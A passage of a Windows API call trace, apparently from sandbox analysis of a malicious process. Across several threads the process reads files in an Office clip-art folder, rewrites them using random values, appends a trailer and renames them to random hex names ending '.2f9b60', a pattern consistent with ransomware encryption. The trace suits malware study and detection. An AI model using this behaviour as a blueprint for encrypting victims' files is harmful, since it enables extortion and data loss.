1 [0186.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424b9930) returned 1 [0186.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424b5d20) returned 1 [0186.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b7b0) returned 1 [0186.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058600) returned 1 [0186.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ceca490 [0186.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058600 [0186.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b7b0 [0186.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca4c0 [0186.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca4c0) returned 1 [0186.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ceca4c0 [0186.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca4f0 [0186.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca520 [0186.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca520) returned 1 [0186.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b7b0) returned 1 [0186.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058600) returned 1 [0186.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43101b60 [0186.666] SetFilePointerEx (in: hFile=0x221c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.666] WriteFile (in: hFile=0x221c, lpBuffer=0x43101b60*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d84f9b0, lpOverlapped=0x0 | out: lpBuffer=0x43101b60*, lpNumberOfBytesWritten=0x2d84f9b0*=0x10a, lpOverlapped=0x0) returned 1 [0207.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bd80 [0207.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1bd80) returned 1 [0207.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bd80 [0207.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bd50 [0207.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1bd50) returned 1 [0207.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.337] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="56") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="33") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="8a") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="4d") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="62") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="bb") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="a1") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="b2") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="17") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="08") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="1f") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.337] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="7b") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="cc") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="c2") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="f0") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="6d") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="0e") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="2c") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="2a") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="03") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="e7") returned 2 [0207.338] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="4e") returned 2 [0207.338] RtlInitAnsiString (in: DestinationString=0x2d84fa28, SourceString="56338a4d62bba1b217081fb97bccc2d6f06d0e2c2a03e74e" | out: DestinationString="56338a4d62bba1b217081fb97bccc2d6f06d0e2c2a03e74e") [0207.338] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d84f9f8, SourceString="56338a4d62bba1b217081fb97bccc2d6f06d0e2c2a03e74e", AllocateDestinationString=1 | out: DestinationString="56338a4d62bba1b217081fb97bccc2d6f06d0e2c2a03e74e") returned 0x0 [0207.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8fe0 [0207.339] wcscat (in: _Dest=0x431c7c60, _Source="56338a4d62bb" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\56338a4d62bb") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\56338a4d62bb" [0207.339] wcscat (in: _Dest=0x431c7c60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\56338a4d62bb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\56338a4d62bb.2f9b60" [0207.339] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\56338a4d62bb.2f9b60", NtPathName=0x2d84f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\56338a4d62bb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43129b60 Thread: id = 2398 os_tid = 0x1ddc [0150.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0150.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID", dwFileAttributes=0x20) returned 1 [0150.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2220 [0150.705] GetFileSizeEx (in: hFile=0x2220, lpFileSize=0x2fdcf940 | out: lpFileSize=0x2fdcf940*=10562) returned 1 [0150.705] SetFilePointerEx (in: hFile=0x2220, liDistanceToMove=0x293e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.705] ReadFile (in: hFile=0x2220, lpBuffer=0x2fdcf8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fdcf908, lpOverlapped=0x0 | out: lpBuffer=0x2fdcf8c0*, lpNumberOfBytesRead=0x2fdcf908*=0x4, lpOverlapped=0x0) returned 1 [0150.707] SetFilePointerEx (in: hFile=0x2220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4b10 [0150.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4bd0 [0150.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4c60 [0150.708] NtQuerySystemTime (in: CurrentTime=0x2fdcf800 | out: CurrentTime=0x2fdcf800*=132462177559138000) returned 0x0 [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x71d7d8c4 [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x2017cb93 [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x1887ed58 [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0xdbf905 [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x5100b05a [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x68c53b21 [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x33a34ddb [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x27acfdf [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x1d869429 [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x6fccb0d7 [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x27745f18 [0150.708] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x15cd38bd [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x43f7abf2 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x3e53af69 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x3dd3257a [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0xd8f7226 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x1cdd22ca [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x7e5c947 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x2ee51579 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x284e2751 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x52bac6b7 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x469e1ec0 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x4e4c1de7 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x373885e3 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x6c7be4ff [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0xd7954e2 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x7f0fd532 [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x1d8b9cec [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x17fc388d [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x10e3022e [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0x57e3070f [0150.709] RtlRandomEx (in: Seed=0x2fdcf7f0 | out: Seed=0x2fdcf7f0) returned 0xbe9f916 [0150.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4c90 [0150.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0150.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4cc0 [0150.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0150.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4c60) returned 1 [0150.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4b10) returned 1 [0150.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058650 [0150.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0150.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4b10 [0150.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4b10) returned 1 [0150.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424bd540 [0150.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424c1150 [0150.721] ReadFile (in: hFile=0x2220, lpBuffer=0x424bd540, nNumberOfBytesToRead=0x2942, lpNumberOfBytesRead=0x2fdcf7f0, lpOverlapped=0x0 | out: lpBuffer=0x424bd540*, lpNumberOfBytesRead=0x2fdcf7f0*=0x2942, lpOverlapped=0x0) returned 1 [0150.723] SetFilePointerEx (in: hFile=0x2220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.723] WriteFile (in: hFile=0x2220, lpBuffer=0x424c1150*, nNumberOfBytesToWrite=0x2942, lpNumberOfBytesWritten=0x2fdcf7f4, lpOverlapped=0x0 | out: lpBuffer=0x424c1150*, lpNumberOfBytesWritten=0x2fdcf7f4*=0x2942, lpOverlapped=0x0) returned 1 [0162.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19410 [0162.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19440 [0162.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19440) returned 1 [0162.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424c1150) returned 1 [0162.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424bd540) returned 1 [0162.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0162.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058650) returned 1 [0162.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19440 [0162.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058650 [0162.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0162.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19470 [0162.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19470) returned 1 [0162.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19470 [0162.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c194a0 [0162.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c194d0 [0162.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c194d0) returned 1 [0162.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0162.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058650) returned 1 [0162.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c15950 [0162.619] SetFilePointerEx (in: hFile=0x2220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.619] WriteFile (hFile=0x2220, lpBuffer=0x42c15950, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fdcf910, lpOverlapped=0x0) [0206.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0206.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053d60 [0206.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053d60) returned 1 [0206.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053d60 [0206.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053d30 [0206.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053d30) returned 1 [0206.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0206.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fb70 [0206.721] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="6a") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="f9") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="db") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="6a") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="72") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="fe") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="61") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="43") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="e9") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="27") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="e3") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="09") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="66") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="27") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="57") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="56") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="3c") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="3a") returned 2 [0206.721] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.722] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="4b") returned 2 [0206.722] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="9c") returned 2 [0206.722] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="e6") returned 2 [0206.722] sprintf (in: _Dest=0x1cd9fb9c, _Format="%c%c" | out: _Dest="f6") returned 2 [0206.722] sprintf (in: _Dest=0x1cd9fb9e, _Format="%c%c" | out: _Dest="bc") returned 2 [0206.722] RtlInitAnsiString (in: DestinationString=0x2fdcf988, SourceString="6af9db6a72fe6143e927e309662757563c3a9b4b9ce6f6bc" | out: DestinationString="6af9db6a72fe6143e927e309662757563c3a9b4b9ce6f6bc") [0206.722] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fdcf958, SourceString="6af9db6a72fe6143e927e309662757563c3a9b4b9ce6f6bc", AllocateDestinationString=1 | out: DestinationString="6af9db6a72fe6143e927e309662757563c3a9b4b9ce6f6bc") returned 0x0 [0206.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1cddf0c0 [0206.723] wcscat (in: _Dest=0x431c67c0, _Source="6af9db6a72fe" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6af9db6a72fe") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6af9db6a72fe" [0206.723] wcscat (in: _Dest=0x431c67c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6af9db6a72fe.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6af9db6a72fe.2f9b60" [0206.723] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6af9db6a72fe.2f9b60", NtPathName=0x2fdcf930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6af9db6a72fe.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4311c460 Thread: id = 2399 os_tid = 0x1de0 [0150.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f10331344f3c.2f9b60")) returned 0x20 [0150.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c.2f9b60", dwFileAttributes=0x20) returned 1 [0150.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f10331344f3c.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2224 [0150.733] GetFileSizeEx (in: hFile=0x2224, lpFileSize=0x3098fac0 | out: lpFileSize=0x3098fac0*=5190) returned 1 [0150.733] SetFilePointerEx (in: hFile=0x2224, liDistanceToMove=0x1442, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.733] ReadFile (in: hFile=0x2224, lpBuffer=0x3098fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3098fa88, lpOverlapped=0x0 | out: lpBuffer=0x3098fa40*, lpNumberOfBytesRead=0x3098fa88*=0x4, lpOverlapped=0x0) returned 1 [0150.733] FlushFileBuffers (hFile=0x2224) returned 1 [0150.736] CloseHandle (hObject=0x2224) returned 1 [0150.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c.2f9b60", dwFileAttributes=0x20) returned 1 [0150.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506db0) returned 1 Thread: id = 2400 os_tid = 0x1de4 [0150.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f1dabb217998.2f9b60")) returned 0x20 [0150.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998.2f9b60", dwFileAttributes=0x20) returned 1 [0150.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f1dabb217998.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2224 [0150.741] GetFileSizeEx (in: hFile=0x2224, lpFileSize=0x2f45f7c0 | out: lpFileSize=0x2f45f7c0*=2998) returned 1 [0150.741] SetFilePointerEx (in: hFile=0x2224, liDistanceToMove=0xbb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.741] ReadFile (in: hFile=0x2224, lpBuffer=0x2f45f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f45f788, lpOverlapped=0x0 | out: lpBuffer=0x2f45f740*, lpNumberOfBytesRead=0x2f45f788*=0x4, lpOverlapped=0x0) returned 1 [0150.742] FlushFileBuffers (hFile=0x2224) returned 1 [0150.744] CloseHandle (hObject=0x2224) returned 1 [0150.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998.2f9b60", dwFileAttributes=0x20) returned 1 [0150.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506c70) returned 1 Thread: id = 2401 os_tid = 0x1de8 [0150.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f2089505b4e2.2f9b60")) returned 0x20 [0150.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2.2f9b60", dwFileAttributes=0x20) returned 1 [0150.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f2089505b4e2.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2224 [0150.751] GetFileSizeEx (in: hFile=0x2224, lpFileSize=0x30bdf8c0 | out: lpFileSize=0x30bdf8c0*=2610) returned 1 [0150.752] SetFilePointerEx (in: hFile=0x2224, liDistanceToMove=0xa2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.752] ReadFile (in: hFile=0x2224, lpBuffer=0x30bdf840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30bdf888, lpOverlapped=0x0 | out: lpBuffer=0x30bdf840*, lpNumberOfBytesRead=0x30bdf888*=0x4, lpOverlapped=0x0) returned 1 [0150.752] FlushFileBuffers (hFile=0x2224) returned 1 [0150.753] CloseHandle (hObject=0x2224) returned 1 [0150.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2.2f9b60", dwFileAttributes=0x20) returned 1 [0150.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506bd0) returned 1 Thread: id = 2402 os_tid = 0x1dec [0150.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 